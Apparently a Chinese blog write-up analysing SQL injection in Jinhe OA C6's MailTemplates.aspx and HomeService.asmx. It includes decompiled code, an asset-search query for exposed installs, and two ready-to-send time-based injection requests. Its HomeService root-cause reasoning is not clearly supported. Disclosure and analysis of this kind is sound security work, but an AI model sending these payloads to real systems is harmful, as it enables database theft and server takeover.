金和oa-MailTemplates.aspx以及HomeService.asmx的sql注入漏洞分析

金和oa-MailTemplates.aspx以及HomeService.asmx的sql注入漏洞分析

漏洞简介

金和OA C6 MailTemplates.aspx以及MailTemplates.aspx接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限.

分析前提

首先将bin目录下的所有.dll文件在dnSpy中打开

在dnSpy中的程序集资源管理器会得到如下的目录列表

这些目录列表就是我们访问不同路由对应的不同目录文件

例如上面路由,你访问的是/Jhsoft.Web.login/PassWordNew.aspx,那么对应到目录中就是如下

Jhsoft.Web.login下有一个Jhsoft.Web.login.dll进入Jhsoft.Web.login中会有一个PassWordNew

注意的是:使用dnSpy反编译之后的代码是C#语言

MailTemplates.aspx漏洞分析

接着我们来到JHSoft.Web.Mail下的MailTemplates类中

在该类中有一个Page_Load方法,这是一个事件处理方法,当页面加载时会被调用。

protected void Page_Load(object sender, EventArgs e)
        {
            CultureInfo cultureInfo = (CultureInfo)this.Session["culture"];//获取Session中的culture的key值
            this.htc = cultureInfo.Name + ".css";//将去获取到的cultureInfo对象的Name属性来构造一个CSS文件的名称,格式为<cultureName>.css。
            this.InitText();//调用初始页面方法
            if (base.Request.QueryString["tempID"] != null)
            {//判断请求中的tempID是否为空,不为空这获取它的字符串格式赋值给this.TempID
                this.TempID = base.Request.QueryString["tempID"].ToString();
            }
            if (!this.Page.IsPostBack && this.TempID != "")
            {//判断页面是否是回发以及判断TempID属性是否为空,若不是回发以及TempID不为空就进入iniTemp方法中
                this.iniTemp(this.TempID);
            }
        }

那么什么是回发呢,我们进入IsPostBack

分析:该方法定义了一个IsPostBack属性的get访问器,用于返回属性的值,this._requestValueCollection是检测当前页面的请求集合是否为null,

this._isCrossPagePostBack检测是否跨页面回发(一个页面提交表单到另一个页面)

this._pageFlags[8]_pageFlags是一个字节数组,用于存储页面的状态标志。这里检查索引为8的位是否为false,this.ViewStateMacValidationErrorWasSuppressed是检测视图状态验证码错误是否被抑制

ServerExecuteDepth是当前页面执行的深度,如果等于0,表示没有嵌套的服务器端执行

this._fPageLayoutChanged:检查页面布局是否发生了变化。

this.Context.Handler != null && base.GetType() == this.Context.Handler.GetType()检查当前页面的HTTP处理程序是否已经设置,并且是否与基类(base)的类型相同。

当满足上述的要求那么就返回true,反之就返回false

当然大家可能还是不理解什么是回发,回发就是页面不是第一次加载而是由用户操作引起的部分加载

也是说当我们直接访问这个页面那么就不是回发,在加上我们在请求中加上TempID 参数,就会执行iniTemp方法,我们进入该方法中

分析:该方法调用了GetTemplateObject方法并将获取到的值给到Datatable对象templateObject,之后判断templateObject是否为空以及其返回的结果的语句是否大于0,之后执行结果TemplateContentTemplateName的值分别赋值给TextValue

CTRL点击进入到GetTemplateObject方法中

分析:该方法直接将获取到的tempID拼接到了sql语句中,调用ExecSQLReDataTable方法执行sql语句,接着就是一些错误的检验,最终返回结果

HomeService.asmx漏洞分析

首先我们进入到jhsoft.mobileapp下的jhsoft.mobileapp.AndroidSevices目录下的HomeService类中的GetHomeInfo方法

我们关注第32-33行

DiaryManagePro diaryManagePro = new DiaryManagePro();//创建一个DiaryManagePro对象
DataTable quickUserInfo = diaryManagePro.GetQuickUserInfo(userID);//调用GetQuickUserInfo方法获取与用户ID相关的快速用户信息

接着进入到GetQuickUserInfo方法中

分析:该方法定义了一个进程名变量procedureNamept_GetQuickUserInfo赋值给他,接着将我们的userCode参数放入到paraValues这个object数组中,之后调用ExecProcReDataTable方法,该方法用于在数据库事务中执行存储过程

进入到ExecProcReDataTable方法中

分析:该方法首先创建了一个dataTable对象用于存储从数据库存储过程中检索到的数据。接着创建一个SqlDBOperator.ReturnMethord类型的委托实例,并将当前类的ReturnDataTable方法作为回调方法传递给它,之后调用Execproc方法用于实际执行数据库存储过程并处理返回的数据。

接着首先到ReturnDataTable方法中

分析:该方法就是调用创建一个SqlDataAdapter对象,它用于执行SqlCommand并填充数据到DataTable。调用SqlDataAdapterFill方法,传入ReValue作为参数。这里ReValue as DataTable是一个类型转换操作,它尝试将ReValue转换为DataTable类型。

接着我们进入到Execproc方法中

private object ExecProc(string ProcedureName, object[] ParaValues, object ReValue, SqlDBOperator.ReturnMethord ReturnResult)
        {
            base.ClearErrorMessage();//清除之前的错误信息。
            StackTrace stackTrace = new StackTrace(true);//创建一个StackTrace对象,该对象记录了当前线程的调用栈。
            this.CallClassName = stackTrace.GetFrame(2).GetMethod().ReflectedType.FullName;//使用StackTrace对象获取调用栈的第三个帧,然后获取该帧的方法,并将其反射类型(即包含该方法的类)的全名赋值给CallClassName成员变量
            this.CallMethodName = stackTrace.GetFrame(2).GetMethod().Name;//获取调用栈的第三个帧的方法名称,并赋值给CallMethodName成员变量。
            if (this.bInTransaction)
            {//检查是否处于事务中。
                return this.ExecProcInTrans(ProcedureName, ParaValues, ReValue, ReturnResult);//如果处于事物中就调用ExecProcInTrans方法,来执行存储过程,并返回结果。
            }
            return this.ExecProcNotInTrans(ProcedureName, ParaValues, ReValue, ReturnResult);//如果不处于事务中就调用ExecProcNotInTrans方法,来执行存储过程,并返回结果。
        }

ExecProcInTransExecProcNotInTrans这两个方法的内容其实差不多

我们就来分析ExecProcInTrans方法

private object ExecProcInTrans(string ProcedureName, object[] ParaValues, object ReValue, SqlDBOperator.ReturnMethord ReturnResult)
        {
            base.ClearErrorMessage();//用于清除之前存储的错误信息。
            //依次设置comm对象的CommandText、CommandType、CommandTimeout属性
            this.comm.CommandText = ProcedureName;
            this.comm.CommandType = CommandType.StoredProcedure;
            this.comm.CommandTimeout = 90;
            try
            {
                if (!this.OpenConn())
                {//调用OpenConn方法尝试打开数据库连接,检测数据库连接是否成功
                    return -1;
                }

                this.SqlCommAddParameter(this.comm, ParaValues);//调用SqlCommAddParameter方法,为comm命令添加参数
                ReValue = ReturnResult(this.comm, ReValue);//调用传入的ReturnResult委托,将comm命令对象和ReValue对象作为参数
            }
            catch (Exception e)
            {
                string errorSQL = "事务中,存储过程:" + this.comm.CommandText + " 参数信息:" + base.GetCommandParameter(this.comm, ParaValues);
                base.SaveErrorMessage(e, errorSQL);
                base.ClearReturnValue(ReValue);
            }
            return ReValue;
        }

调用ReturnResult方法就是将我们在数据库事务中执行存储过程的数据返回给Revalue(该方法在前面也已经解释过)最后完成对userID快速查询获取用户信息操作

漏洞分析总结

这两次的漏洞成因都是因为没有对用户可以控制的参数内容进行相关过滤进而导致sql注入漏洞的形成

资产测绘

app="金和网络-金和OA"

MailTemplates.aspx漏洞复现

MailTemplates.aspx的poc

GET /C6/JHSoft.Web.Mail/MailTemplates.aspx/?tempID=1%3BWAITFOR+DELAY+%270%3A0%3A3%27-- HTTP/1.1
Host: you_ip
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

成功延时3秒

HomeService.asmx漏洞复现

HomeService.asmx的poc

GET /c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=1'%3b+WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

成功延时5秒

0 条评论
某人
表情
可输入 255